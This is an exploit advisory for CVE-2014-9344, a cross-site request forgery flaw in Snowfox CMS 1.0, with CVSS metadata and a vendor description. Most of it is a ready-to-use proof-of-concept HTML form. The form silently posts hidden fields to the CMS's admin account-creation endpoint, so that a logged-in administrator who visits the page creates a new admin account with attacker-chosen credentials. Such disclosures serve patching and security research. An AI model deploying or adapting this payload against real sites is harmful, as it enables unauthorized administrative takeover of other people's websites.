Snowfox CMS 1.0 Cross Site Request Forgery

2014-11-19 / 2015-04-19

Credit: Gjoko 'LiquidWorm' Krstic

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2014-9344

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<!--
Snowfox CMS v1.0 CSRF Add Admin Exploit
Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0
Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.
Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php
12.11.2014
-->
<html>
<body>
<form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
<input type="hidden" name="emailAddress" value="lab&#64;zeroscience&#46;mk" />
<input type="hidden" name="verifiedEmail" value="verified" />
<input type="hidden" name="username" value="USERNAME" />
<input type="hidden" name="newPassword" value="PASSWORD" />
<input type="hidden" name="confirmPassword" value="PASSWORD" />
<input type="hidden" name="userGroups&#91;&#93;" value="34" />
<input type="hidden" name="userGroups&#91;&#93;" value="33" />
<input type="hidden" name="memo" value="CSRFmemo" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="formAction" value="submit" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php

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Snowfox CMS 1.0 Cross Site Request Forgery

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